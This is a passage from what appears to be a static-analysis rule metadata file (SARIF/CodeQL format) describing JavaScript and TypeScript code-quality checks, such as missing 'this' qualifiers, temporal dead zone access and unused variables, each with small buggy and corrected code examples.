initialization","precision":"very-high","problem.severity":"error"}},{"id":"js/missing-this-qualifier","name":"js/missing-this-qualifier","shortDescription":{"text":"Missing 'this' qualifier"},"fullDescription":{"text":"Referencing an undeclared global variable in a class that has a member of the same name is confusing and may indicate a bug."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Missing 'this' qualifier\nJavaScript methods can call other methods of the same class instance through the use of the `this` keyword. In other object-oriented languages such as Java, the use of the `this` keyword for such method calls is optional. It is however *not* optional in JavaScript. If the `this` keyword is left out, the call is a regular function call.\n\n\n## Recommendation\nAdd the `this` keyword as the receiver of the call.\n\n\n## Example\nIn the following example, the call to `setAudioProperties` will call an undeclared global function, and *not* the method defined later in the class.\n\n\n```javascript\nclass Audio3D {\n  setAudioStream(){\n    // ...\n    setAudioProperties();\n    // ...\n  }\n\n  setAudioProperties(){\n    // ...  \n  }\n}\n```\nThe problem can be fixed by adding the `this` keyword to the call: `this.setAudioProperties()`.\n\n\n## References\n* MDN: [Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)\n","markdown":"# Missing 'this' qualifier\nJavaScript methods can call other methods of the same class instance through the use of the `this` keyword. In other object-oriented languages such as Java, the use of the `this` keyword for such method calls is optional. It is however *not* optional in JavaScript. If the `this` keyword is left out, the call is a regular function call.\n\n\n## Recommendation\nAdd the `this` keyword as the receiver of the call.\n\n\n## Example\nIn the following example, the call to `setAudioProperties` will call an undeclared global function, and *not* the method defined later in the class.\n\n\n```javascript\nclass Audio3D {\n  setAudioStream(){\n    // ...\n    setAudioProperties();\n    // ...\n  }\n\n  setAudioProperties(){\n    // ...  \n  }\n}\n```\nThe problem can be fixed by adding the `this` keyword to the call: `this.setAudioProperties()`.\n\n\n## References\n* MDN: [Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)\n"},"properties":{"tags":["quality","reliability","correctness","methods"],"description":"Referencing an undeclared global variable in a class that has a member of the same name is confusing and may indicate a bug.","id":"js/missing-this-qualifier","kind":"problem","name":"Missing 'this' qualifier","precision":"high","problem.severity":"error"}},{"id":"js/ineffective-parameter-type","name":"js/ineffective-parameter-type","shortDescription":{"text":"Ineffective parameter type"},"fullDescription":{"text":"Omitting the name of a parameter causes its type annotation to be parsed as the name."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Ineffective parameter type\nIn TypeScript, the parameters of a function signature must have a name and may optionally have a type. A common mistake is to try to omit the name. This means the type is instead seen as the name. As a result, the parameter type will default to `any` since no type was given.\n\nParameter names in function signatures are only relevant for documentation purposes but cannot be omitted.\n\n\n## Recommendation\nGive both a name and type to the parameter, as it cannot be given a type without having a name. Alternatively, if the parameter is intentionally untyped, change its name so it does not coincide with a type name.\n\n\n## Example\nIn the following example, the callback parameter is written as `(T) => string`, which actually means `(T: any) => string` and is not useful for type checking or code completion.\n\n\n```javascript\nfunction join<T>(items: T[], callback: (T) => string) {\n  return items.map(callback).join(\", \")\n}\n\n```\nAmend this by changing the callback type to `(item: T) => string`. The parameter name `item` is only relevant for documentation purposes, but a name is required regardless.\n\n\n```javascript\nfunction join<T>(items: T[], callback: (item: T) => string) {\n  return items.map(callback).join(\", \")\n}\n\n```\nUntyped parameters are illegal when compiling with the TypeScript flag `--noImplicitAny`.\n\n\n## References\n* [TypeScript Handbook, Functions](https://www.typescriptlang.org/docs/handbook/functions.html)\n","markdown":"# Ineffective parameter type\nIn TypeScript, the parameters of a function signature must have a name and may optionally have a type. A common mistake is to try to omit the name. This means the type is instead seen as the name. As a result, the parameter type will default to `any` since no type was given.\n\nParameter names in function signatures are only relevant for documentation purposes but cannot be omitted.\n\n\n## Recommendation\nGive both a name and type to the parameter, as it cannot be given a type without having a name. Alternatively, if the parameter is intentionally untyped, change its name so it does not coincide with a type name.\n\n\n## Example\nIn the following example, the callback parameter is written as `(T) => string`, which actually means `(T: any) => string` and is not useful for type checking or code completion.\n\n\n```javascript\nfunction join<T>(items: T[], callback: (T) => string) {\n  return items.map(callback).join(\", \")\n}\n\n```\nAmend this by changing the callback type to `(item: T) => string`. The parameter name `item` is only relevant for documentation purposes, but a name is required regardless.\n\n\n```javascript\nfunction join<T>(items: T[], callback: (item: T) => string) {\n  return items.map(callback).join(\", \")\n}\n\n```\nUntyped parameters are illegal when compiling with the TypeScript flag `--noImplicitAny`.\n\n\n## References\n* [TypeScript Handbook, Functions](https://www.typescriptlang.org/docs/handbook/functions.html)\n"},"properties":{"tags":["quality","reliability","correctness","typescript"],"description":"Omitting the name of a parameter causes its type annotation to be parsed as the name.","id":"js/ineffective-parameter-type","kind":"problem","name":"Ineffective parameter type","precision":"high","problem.severity":"warning"}},{"id":"js/variable-use-in-temporal-dead-zone","name":"js/variable-use-in-temporal-dead-zone","shortDescription":{"text":"Access to let-bound variable in temporal dead zone"},"fullDescription":{"text":"Accessing a let-bound variable before its declaration will lead to a runtime error on ECMAScript 2015-compatible platforms."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Access to let-bound variable in temporal dead zone\nThe scope of a variable declared with `let` is its innermost enclosing block statement, loop or function. Unlike variables declared with `var`, variables declared with `let` are not hoisted to the top of their scope, giving rise to a region of code where the variable is in scope, but not declared yet. Accessing a `let`-bound variable inside this so-called \"temporal dead zone\" is permitted by some legacy implementations, but is illegal in ECMAScript 2015.\n\n\n## Recommendation\nMove the `let` declaration to the beginning of its scope.\n\n\n## Example\nIn the following example, `x` is initialized before its declaration:\n\n\n```javascript\nfunction f() {\n    x = 23;\n    let x;\n}\n\n```\nThe declaration should be moved as follows:\n\n\n```javascript\nfunction f() {\n    let x;\n    x = 23;\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Temporal dead zone and errors with let](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let#Temporal_dead_zone_and_errors_with_let).\n","markdown":"# Access to let-bound variable in temporal dead zone\nThe scope of a variable declared with `let` is its innermost enclosing block statement, loop or function. Unlike variables declared with `var`, variables declared with `let` are not hoisted to the top of their scope, giving rise to a region of code where the variable is in scope, but not declared yet. Accessing a `let`-bound variable inside this so-called \"temporal dead zone\" is permitted by some legacy implementations, but is illegal in ECMAScript 2015.\n\n\n## Recommendation\nMove the `let` declaration to the beginning of its scope.\n\n\n## Example\nIn the following example, `x` is initialized before its declaration:\n\n\n```javascript\nfunction f() {\n    x = 23;\n    let x;\n}\n\n```\nThe declaration should be moved as follows:\n\n\n```javascript\nfunction f() {\n    let x;\n    x = 23;\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Temporal dead zone and errors with let](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let#Temporal_dead_zone_and_errors_with_let).\n"},"properties":{"tags":["quality","reliability","correctness","portability"],"description":"Accessing a let-bound variable before its declaration will lead to a runtime\n              error on ECMAScript 2015-compatible platforms.","id":"js/variable-use-in-temporal-dead-zone","kind":"problem","name":"Access to let-bound variable in temporal dead zone","precision":"very-high","problem.severity":"error"}},{"id":"js/missing-variable-declaration","name":"js/missing-variable-declaration","shortDescription":{"text":"Missing variable declaration"},"fullDescription":{"text":"If a variable is not declared as a local variable, it becomes a global variable by default, which may be unintentional and could lead to unexpected behavior."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Missing variable declaration\nIn JavaScript, if a variable is used in a function but not declared as a local variable, it becomes a global variable by default. This can have unintended consequences: unlike local variables, global variables can be read and modified by all functions. If different functions use the same global variable, they may end up overwriting each others values, leading to subtle and difficult to diagnose bugs.\n\n\n## Recommendation\nCheck whether the variable in question was meant to be local; if so, declare it by means of a `var` declaration. If the variable is really meant to be global, it is best to document this fact by inserting a global `var` declaration at the beginning of the source file.\n\n\n## Example\nIn the following example, both `f` and `g` use a loop counter variable `i`. Since neither of them declares `i` to be a local variable, they end up accessing the same global variable, so every time `f` invokes `g` inside the loop, `g` overwrites `f`'s value for `i`.\n\n\n```javascript\nfunction f(a) {\n\tvar sum = 0;\n\tfor (i=0; i<a.length; ++i)\n\t\tsum += g(a[i]);\n\treturn sum;\n}\n\nfunction g(b) {\n\tvar prod = 1;\n\tfor (i=0; i<b.length; ++i)\n\t\tprod *= b[i];\n\treturn prod;\n}\n```\nThe example should be fixed by declaring `i` to be a local variable in `f` and `g`.\n\n\n## References\n* D. Crockford, *JavaScript: The Good Parts*, Appendix A. O'Reilly, 2008.\n","markdown":"# Missing variable declaration\nIn JavaScript, if a variable is used in a function but not declared as a local variable, it becomes a global variable by default. This can have unintended consequences: unlike local variables, global variables can be read and modified by all functions. If different functions use the same global variable, they may end up overwriting each others values, leading to subtle and difficult to diagnose bugs.\n\n\n## Recommendation\nCheck whether the variable in question was meant to be local; if so, declare it by means of a `var` declaration. If the variable is really meant to be global, it is best to document this fact by inserting a global `var` declaration at the beginning of the source file.\n\n\n## Example\nIn the following example, both `f` and `g` use a loop counter variable `i`. Since neither of them declares `i` to be a local variable, they end up accessing the same global variable, so every time `f` invokes `g` inside the loop, `g` overwrites `f`'s value for `i`.\n\n\n```javascript\nfunction f(a) {\n\tvar sum = 0;\n\tfor (i=0; i<a.length; ++i)\n\t\tsum += g(a[i]);\n\treturn sum;\n}\n\nfunction g(b) {\n\tvar prod = 1;\n\tfor (i=0; i<b.length; ++i)\n\t\tprod *= b[i];\n\treturn prod;\n}\n```\nThe example should be fixed by declaring `i` to be a local variable in `f` and `g`.\n\n\n## References\n* D. Crockford, *JavaScript: The Good Parts*, Appendix A. O'Reilly, 2008.\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"If a variable is not declared as a local variable, it becomes a global variable\n              by default, which may be unintentional and could lead to unexpected behavior.","id":"js/missing-variable-declaration","kind":"problem","name":"Missing variable declaration","precision":"high","problem.severity":"warning"}},{"id":"js/use-before-declaration","name":"js/use-before-declaration","shortDescription":{"text":"Variable not declared before use"},"fullDescription":{"text":"Variables should be declared before their first use."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Variable not declared before use\nJavaScript allows local variables to be used before they are declared. However, this is confusing for readers of the code, since it may not be clear whether the use refers to the local variable or to a global variable of the same name.\n\n\n## Recommendation\nMove local variable declarations to the beginning of the enclosing function, or (for global variables) to the beginning of the source file.\n\n\n## Example\nIn the following example, the local variable `x` declared in function `f` shadows the global variable of the same name. However, the first use of the local variable precedes its declaration, so a developer unfamiliar with the code might assume that this use refers to the global variable instead of the local variable.\n\n\n```javascript\nvar x = 23;\n\nfunction f() {\n\tx = 42;\n\tvar x;\n}\n```\n\n## References\n* D. Crockford, *JavaScript: The Good Parts*, Section 4.9. O'Reilly, 2008.\n","markdown":"# Variable not declared before use\nJavaScript allows local variables to be used before they are declared. However, this is confusing for readers of the code, since it may not be clear whether the use refers to the local variable or to a global variable of the same name.\n\n\n## Recommendation\nMove local variable declarations to the beginning of the enclosing function, or (for global variables) to the beginning of the source file.\n\n\n## Example\nIn the following example, the local variable `x` declared in function `f` shadows the global variable of the same name. However, the first use of the local variable precedes its declaration, so a developer unfamiliar with the code might assume that this use refers to the global variable instead of the local variable.\n\n\n```javascript\nvar x = 23;\n\nfunction f() {\n\tx = 42;\n\tvar x;\n}\n```\n\n## References\n* D. Crockford, *JavaScript: The Good Parts*, Section 4.9. O'Reilly, 2008.\n"},"properties":{"tags":["quality","maintainability","readability"],"description":"Variables should be declared before their first use.","id":"js/use-before-declaration","kind":"problem","name":"Variable not declared before use","precision":"very-high","problem.severity":"warning"}},{"id":"js/function-declaration-conflict","name":"js/function-declaration-conflict","shortDescription":{"text":"Conflicting function declarations"},"fullDescription":{"text":"If two functions with the same name are declared in the same scope, one of the declarations overrides the other without warning. This makes the code hard to read and maintain, and may even lead to platform-dependent behavior."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Conflicting function declarations\nIf two functions with the same name are declared in the same scope, one of the declarations overrides the other without warning. This makes the code hard to read and maintain. In some cases, which declaration overrides which may be platform dependent.\n\n\n## Recommendation\nIf the two declarations are duplicates, remove one of them. Otherwise, rename one of them to distinguish the two functions, or turn the function declarations into assignments of function expressions to the same local variable.\n\n\n## Example\nIn the following example, function `converter` is defined differently in the two branches of the `if` statement. However, the function definition appearing later in the program text will override the one appearing earlier, independent of the flow of execution through the `if` statement, so in this case it is always the second function that is returned. (Note that this may not be true on older browsers.)\n\n\n```javascript\nfunction getConverter(dir) {\n\tif (dir === 'c2f') {\n\t\tfunction converter(c) {\n\t\t\treturn c * 9/5 + 32;\n\t\t}\n\t} else {\n\t\tfunction converter(f) {\n\t\t\treturn (f - 32) * 5/9;\n\t\t}\n\t}\n\treturn converter;\n}\n```\nTo address this problem, introduce a local variable `converter` and convert the function declarations into assignments of function expressions to this variable:\n\n\n```javascript\nfunction getConverter(dir) {\n\tvar converter;\n\tif (dir === 'c2f') {\n\t\tconverter = function (c) {\n\t\t\treturn c * 9/5 + 32;\n\t\t};\n\t} else {\n\t\tconverter = function (f) {\n\t\t\treturn (f - 32) * 5/9;\n\t\t};\n\t}\n\treturn converter;\n}\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 10.5. ECMA, 2011.\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n","markdown":"# Conflicting function declarations\nIf two functions with the same name are declared in the same scope, one of the declarations overrides the other without warning. This makes the code hard to read and maintain. In some cases, which declaration overrides which may be platform dependent.\n\n\n## Recommendation\nIf the two declarations are duplicates, remove one of them. Otherwise, rename one of them to distinguish the two functions, or turn the function declarations into assignments of function expressions to the same local variable.\n\n\n## Example\nIn the following example, function `converter` is defined differently in the two branches of the `if` statement. However, the function definition appearing later in the program text will override the one appearing earlier, independent of the flow of execution through the `if` statement, so in this case it is always the second function that is returned. (Note that this may not be true on older browsers.)\n\n\n```javascript\nfunction getConverter(dir) {\n\tif (dir === 'c2f') {\n\t\tfunction converter(c) {\n\t\t\treturn c * 9/5 + 32;\n\t\t}\n\t} else {\n\t\tfunction converter(f) {\n\t\t\treturn (f - 32) * 5/9;\n\t\t}\n\t}\n\treturn converter;\n}\n```\nTo address this problem, introduce a local variable `converter` and convert the function declarations into assignments of function expressions to this variable:\n\n\n```javascript\nfunction getConverter(dir) {\n\tvar converter;\n\tif (dir === 'c2f') {\n\t\tconverter = function (c) {\n\t\t\treturn c * 9/5 + 32;\n\t\t};\n\t} else {\n\t\tconverter = function (f) {\n\t\t\treturn (f - 32) * 5/9;\n\t\t};\n\t}\n\treturn converter;\n}\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 10.5. ECMA, 2011.\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-563"],"description":"If two functions with the same name are declared in the same scope, one of the declarations\n              overrides the other without warning. This makes the code hard to read and maintain, and\n              may even lead to platform-dependent behavior.","id":"js/function-declaration-conflict","kind":"problem","name":"Conflicting function declarations","precision":"high","problem.severity":"error"}},{"id":"js/nested-function-reference-in-default-parameter","name":"js/nested-function-reference-in-default-parameter","shortDescription":{"text":"Default parameter references nested function"},"fullDescription":{"text":"If a default parameter value references a function that is nested inside the function to which the parameter belongs, a runtime error will occur, since the function is not yet defined at the point where it is referenced."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Default parameter references nested function\nDefault parameter values can only refer to variables and functions that are defined before the parameter. In particular, they cannot refer to nested functions defined inside the function body, since their definition is not evaluated until after default parameter values have been computed.\n\n\n## Recommendation\nMove the function into the enclosing scope so that it becomes available to the default parameter.\n\n\n## Example\nIn the following example, the default parameter value for the parameter `y` of the function `f` is computed from the value of the parameter `x` using the function `defaultVal`. However, since `defaultVal` is defined inside `f` itself, it is not yet defined at the point where the default value of `y` is evaluated, which will lead to a runtime error.\n\n\n```javascript\nfunction f(x, y = defaultVal(x)) {\n    function defaultVal(x) {\n        return x+19;\n    }\n    return x*y;\n}\n\n```\nTo fix this problem, `defaultVal` should be moved into the outer scope so that it becomes available to `y`:\n\n\n```javascript\nfunction defaultVal(x) {\n    return x+19;\n}\n\nfunction f(x, y = defaultVal(x)) {\n    return x*y;\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Default parameters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters).\n","markdown":"# Default parameter references nested function\nDefault parameter values can only refer to variables and functions that are defined before the parameter. In particular, they cannot refer to nested functions defined inside the function body, since their definition is not evaluated until after default parameter values have been computed.\n\n\n## Recommendation\nMove the function into the enclosing scope so that it becomes available to the default parameter.\n\n\n## Example\nIn the following example, the default parameter value for the parameter `y` of the function `f` is computed from the value of the parameter `x` using the function `defaultVal`. However, since `defaultVal` is defined inside `f` itself, it is not yet defined at the point where the default value of `y` is evaluated, which will lead to a runtime error.\n\n\n```javascript\nfunction f(x, y = defaultVal(x)) {\n    function defaultVal(x) {\n        return x+19;\n    }\n    return x*y;\n}\n\n```\nTo fix this problem, `defaultVal` should be moved into the outer scope so that it becomes available to `y`:\n\n\n```javascript\nfunction defaultVal(x) {\n    return x+19;\n}\n\nfunction f(x, y = defaultVal(x)) {\n    return x*y;\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Default parameters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters).\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"If a default parameter value references a function that is nested inside the\n              function to which the parameter belongs, a runtime error will occur, since\n              the function is not yet defined at the point where it is referenced.","id":"js/nested-function-reference-in-default-parameter","kind":"problem","name":"Default parameter references nested function","precision":"very-high","problem.severity":"error"}},{"id":"js/unused-local-variable","name":"js/unused-local-variable","shortDescription":{"text":"Unused variable, import, function or class"},"fullDescription":{"text":"Unused variables, imports, functions or classes may be a symptom of a bug and should be examined carefully."},"defaultConfiguration":{"enabled":true,"level":"note"},"help":{"text":"# Unused variable, import, function or class\nUnused local variables make code hard to read and understand. Any computation used to initialize an unused variable is wasted, which may lead to performance problems.\n\nSimilarly, unused imports and unused functions or classes can be confusing. They may even be a symptom of a bug caused, for example, by an incomplete refactoring.\n\n\n## Recommendation\nRemove the unused program element.\n\n\n## Example\nIn this code, the function `f` initializes a local variable `x` with a call to the function `expensiveComputation`, but later on this variable is never read. Removing `x` would improve code quality and performance.\n\n\n```javascript\nfunction f() {\n\tvar x = expensiveComputation();\n\treturn 23;\n}\n```\nA slightly subtle case is shown below, where a function expression named `f` is assigned to a variable `f`:\n\n\n```javascript\nvar f = function f() {\n  return \"Hi!\";\n};\nf();\n```\nNote that this example involves two distinct variables, both named `f`: the global variable to which the function is assigned, and the variable implicitly declared by the function expression. The call to `f()` refers to the former variable, whereas the latter is unused. Hence the example can be rewritten as follows, eliminating the useless variable:\n\n\n```javascript\nvar f = function () {\n  return \"Hi!\";\n};\nf();\n```\nA similar situation can occur with ECMAScript 2015 module exports, as shown in the following example:\n\n\n```javascript\nexport default function f() {\n  return \"Hi!\";\n};\n```\nAgain, the named function expression implicitly declares a variable `f`, but because the export statement is a default export, this variable is unused and can be eliminated:\n\n\n```javascript\nexport default function () {\n  return \"Hi!\";\n};\n```\n\n## References\n* Coding Horror: [Code Smells](http://blog.codinghorror.com/code-smells/).\n* Mozilla Developer Network: [Named function expressions](https://developer.mozilla.org/en/docs/web/JavaScript/Reference/Operators/function#Named_function_expression).\n* Mozilla Developer Network: [Using the default export](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export#Using_the_default_export).\n","markdown":"# Unused variable, import, function or class\nUnused local variables make code hard to read and understand. Any computation used to initialize an unused variable is wasted, which may lead to performance problems.\n\nSimilarly, unused imports and unused functions or classes can be confusing. They may even be a symptom of a bug caused, for example, by an incomplete refactoring.\n\n\n## Recommendation\nRemove the unused program element.\n\n\n## Example\nIn this code, the function `f` initializes a local variable `x` with a call to the function `expensiveComputation`, but later on this variable is never read. Removing `x` would improve code quality and performance.\n\n\n```javascript\nfunction f() {\n\tvar x = expensiveComputation();\n\treturn 23;\n}\n```\nA slightly subtle case is shown below, where a function expression named `f` is assigned to a variable `f`:\n\n\n```javascript\nvar f = function f() {\n  return \"Hi!\";\n};\nf();\n```\nNote that this example involves two distinct variables, both named `f`: the global variable to which the function is assigned, and the variable implicitly declared by the function expression. The call to `f()` refers to the former variable, whereas the latter is unused. Hence the example can be rewritten as follows, eliminating the useless variable:\n\n\n```javascript\nvar f = function () {\n  return \"Hi!\";\n};\nf();\n```\nA similar situation can occur with ECMAScript 2015 module exports, as shown in the following example:\n\n\n```javascript\nexport default function f() {\n  return \"Hi!\";\n};\n```\nAgain, the named function expression implicitly declares a variable `f`, but because the export statement is a default export, this variable is unused and can be eliminated:\n\n\n```javascript\nexport default function () {\n  return \"Hi!\";\n};\n```\n\n## References\n* Coding Horror: [Code Smells](http://blog.codinghorror.com/code-smells/).\n* Mozilla Developer Network: [Named function expressions](https://developer.mozilla.org/en/docs/web/JavaScript/Reference/Operators/function#Named_function_expression).\n* Mozilla Developer Network: [Using the default export](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export#Using_the_default_export).\n"},"properties":{"tags":["quality","maintainability","useless-code"],"description":"Unused variables, imports, functions or classes may be a symptom of a bug\n              and should be examined carefully.","id":"js/unused-local-variable","kind":"problem","name":"Unused variable, import, function or class","precision":"very-high","problem.severity":"recommendation"}},{"id":"js/unreachable-method-overloads","name":"js/unreachable-method-overloads","shortDescription":{"text":"Unreachable method overloads"},"fullDescription":{"text":"Having multiple overloads with the same parameter types in TypeScript makes all overloads except the first one unreachable, as the compiler always resolves calls to the textually first matching overload."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Unreachable method overloads\nThe TypeScript compiler has to choose which specific overload is called when a method with multiple overloads is called. The compiler will always choose the textually first overload that does not give rise to any type errors with the arguments provided at the function call.\n\nThis behavior can be unintuitive for programmers unfamiliar with the type system in TypeScript, and can in some instances lead to situations where a programmer writes an overloaded method where only the first overload can ever be used.\n\n\n## Recommendation\nEither reorder the method overloads if an overload with more type parameters is placed before a similar overload with fewer parameters. Alternatively, collapse multiple overloads with identical parameter types by creating a single overload that returns a union of the return types from the multiple overloads.\n\n\n## Example\nIn the example below, a programmer has tried to express that a method can return multiple possible values by creating multiple overloads with identical parameter types. However, only the first overload will ever be selected by the TypeScript compiler.\n\n\n```javascript\ninterface Foo {\n    getParsedThing(id: string): string[];\n    getParsedThing(id: string): number[];\n    getParsedThing(id: string): object[];\n}\n```\nThe error can be fixed by merging the overloads into a single method signature that returns a union of the previous return types.\n\n\n```javascript\ninterface Foo {\n    getParsedThing(id: string): object[] | number[] | string[];\n}\n```\nIn the example below, an interface `Foo` declares a method `create()` with two overloads. The only difference between the two overloads is the type parameter `T` in the first overload. The TypeScript compiler will always use the first overload when `create()` is called, as a default type will be used for the type parameter `T` if none is provided. This default type is `unknown` in TypeScript 3.5+, and `{}` in earlier versions.\n\n\n```javascript\ninterface Foo {\n    create<T>(a: string): MyObject<T>;\n    create(a: string): MyObject<any>;\n}\n```\nIn this example, the error has been fixed by switching the order of the two overloads. In this fixed version, if the `create()` method is called with an explicit type argument the second overload will be used, as the first overload would give rise to a type error.\n\n\n```javascript\ninterface Foo {\n    create(a: string): Array<any>;\n    create<T>(a: string): Array<T>;\n}\n```\n\n## References\n* TypeScript specification: [Overload Resolution](https://github.com/microsoft/TypeScript/blob/30cb20434a6b117e007a4959b2a7c16489f86069/doc/spec-ARCHIVED.md#4.15.1)\n","markdown":"# Unreachable method overloads\nThe TypeScript compiler has to choose which specific overload is called when a method with multiple overloads is called. The compiler will always choose the textually first overload that does not give rise to any type errors with the arguments provided at the function call.\n\nThis behavior can be unintuitive for programmers unfamiliar with the type system in TypeScript, and can in some instances lead to situations where a programmer writes an overloaded method where only the first overload can ever be used.\n\n\n## Recommendation\nEither reorder the method overloads if an overload with more type parameters is placed before a similar overload with fewer parameters. Alternatively, collapse multiple overloads with identical parameter types by creating a single overload that returns a union of the return types from the multiple overloads.\n\n\n## Example\nIn the example below, a programmer has tried to express that a method can return multiple possible values by creating multiple overloads with identical parameter types. However, only the first overload will ever be selected by the TypeScript compiler.\n\n\n```javascript\ninterface Foo {\n    getParsedThing(id: string): string[];\n    getParsedThing(id: string): number[];\n    getParsedThing(id: string): object[];\n}\n```\nThe error can be fixed by merging the overloads into a single method signature that returns a union of the previous return types.\n\n\n```javascript\ninterface Foo {\n    getParsedThing(id: string): object[] | number[] | string[];\n}\n```\nIn the example below, an interface `Foo` declares a method `create()` with two overloads. The only difference between the two overloads is the type parameter `T` in the first overload. The TypeScript compiler will always use the first overload when `create()` is called, as a default type will be used for the type parameter `T` if none is provided. This default type is `unknown` in TypeScript 3.5+, and `{}` in earlier versions.\n\n\n```javascript\ninterface Foo {\n    create<T>(a: string): MyObject<T>;\n    create(a: string): MyObject<any>;\n}\n```\nIn this example, the error has been fixed by switching the order of the two overloads. In this fixed version, if the `create()` method is called with an explicit type argument the second overload will be used, as the first overload would give rise to a type error.\n\n\n```javascript\ninterface Foo {\n    create(a: string): Array<any>;\n    create<T>(a: string): Array<T>;\n}\n```\n\n## References\n* TypeScript specification: [Overload Resolution](https://github.com/microsoft/TypeScript/blob/30cb20434a6b117e007a4959b2a7c16489f86069/doc/spec-ARCHIVED.md#4.15.1)\n"},"properties":{"tags":["quality","reliability","correctness","typescript"],"description":"Having multiple overloads with the same parameter types in TypeScript\n              makes all overloads except the first one unreachable, as the compiler\n              always resolves calls to the textually first matching overload.","id":"js/unreachable-method-overloads","kind":"problem","name":"Unreachable method overloads","precision":"high","problem.severity":"warning"}},{"id":"js/overwritten-property","name":"js/overwritten-property","shortDescription":{"text":"Overwritten property"},"fullDescription":{"text":"If an object literal has two properties with the same name, the second property overwrites the first one, which makes the code hard to understand and error-prone."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Overwritten property\nIn ECMAScript 2015 and above, as well as ECMAScript 5 non-strict mode, an object literal may define the same property multiple times, with later definitions overwriting earlier ones. In particular, if the last definition assigns a different value from earlier definitions, the earlier value is lost, which is most likely unintentional and should be avoided.\n\n\n## Recommendation\nRename the properties to have different names.\n\n\n## Example\nIn the following example, the object literal assigned to `point` has two definitions of property `x`. The object's use in function `dist` suggests that the second definition should define a property `y` instead, and should be renamed.\n\n\n```javascript\nfunction dist(p) {\n\treturn Math.sqrt(p.x*p.x+p.y*p.y);\n}\n\nvar point = {\n\tx: 3,\n\tx: 4\n};\nconsole.log(dist(point));\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Annex C. ECMA, 2011.\n* Ecma International, *ECMAScript Language Definition*, 6th Edition, Annex E. ECMA, 2015.\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n","markdown":"# Overwritten property\nIn ECMAScript 2015 and above, as well as ECMAScript 5 non-strict mode, an object literal may define the same property multiple times, with later definitions overwriting earlier ones. In particular, if the last definition assigns a different value from earlier definitions, the earlier value is lost, which is most likely unintentional and should be avoided.\n\n\n## Recommendation\nRename the properties to have different names.\n\n\n## Example\nIn the following example, the object literal assigned to `point` has two definitions of property `x`. The object's use in function `dist` suggests that the second definition should define a property `y` instead, and should be renamed.\n\n\n```javascript\nfunction dist(p) {\n\treturn Math.sqrt(p.x*p.x+p.y*p.y);\n}\n\nvar point = {\n\tx: 3,\n\tx: 4\n};\nconsole.log(dist(point));\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Annex C. ECMA, 2011.\n* Ecma International, *ECMAScript Language Definition*, 6th Edition, Annex E. ECMA, 2015.\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-563"],"description":"If an object literal has two properties with the same name,\n              the second property overwrites the first one,\n              which makes the code hard to understand and error-prone.","id":"js/overwritten-property","kind":"problem","name":"Overwritten property","precision":"very-high","problem.severity":"error"}},{"id":"js/assignment-to-constant","name":"js/assignment-to-constant","shortDescription":{"text":"Assignment to constant"},"fullDescription":{"text":"Assigning to a variable that is declared 'const' has either no effect or leads to a runtime error, depending on the platform."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Assignment to constant\nMost popular JavaScript platforms support `const` declarations, although this feature is not part of the ECMAScript 5 standard. Assigning a new value to a variable that is declared `const` does not result in an error on current platforms, and simply has no effect. Relying on this behavior is error-prone, particularly since ECMAScript 2015 prohibits such assignments.\n\n\n## Recommendation\nIf the variable genuinely needs to be reassigned, change its declaration from `const` to `var`, or merge the assignment into the variable declaration, if possible. Otherwise, remove the spurious assignment.\n\n\n## Example\nIn the following example, `loc` is initialized to `null`, and then set to either `\"here\"` or `\"there\"`, depending on the value of variable `dist`. Most current platforms, however, will ignore the assignments entirely, so `loc` will retain its original value `null`.\n\n\n```javascript\nconst loc = null;\nif (dist < 10)\n    loc = \"here\";\nelse\n    loc = \"there\";\n```\nInstead, the assignments to `loc` can be merged into its declaration like this:\n\n\n```javascript\nconst loc = dist < 10 ? \"here\" : \"there\";\n```\n\n## References\n* Mozilla Developer Network: [const](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const).\n","markdown":"# Assignment to constant\nMost popular JavaScript platforms support `const` declarations, although this feature is not part of the ECMAScript 5 standard. Assigning a new value to a variable that is declared `const` does not result in an error on current platforms, and simply has no effect. Relying on this behavior is error-prone, particularly since ECMAScript 2015 prohibits such assignments.\n\n\n## Recommendation\nIf the variable genuinely needs to be reassigned, change its declaration from `const` to `var`, or merge the assignment into the variable declaration, if possible. Otherwise, remove the spurious assignment.\n\n\n## Example\nIn the following example, `loc` is initialized to `null`, and then set to either `\"here\"` or `\"there\"`, depending on the value of 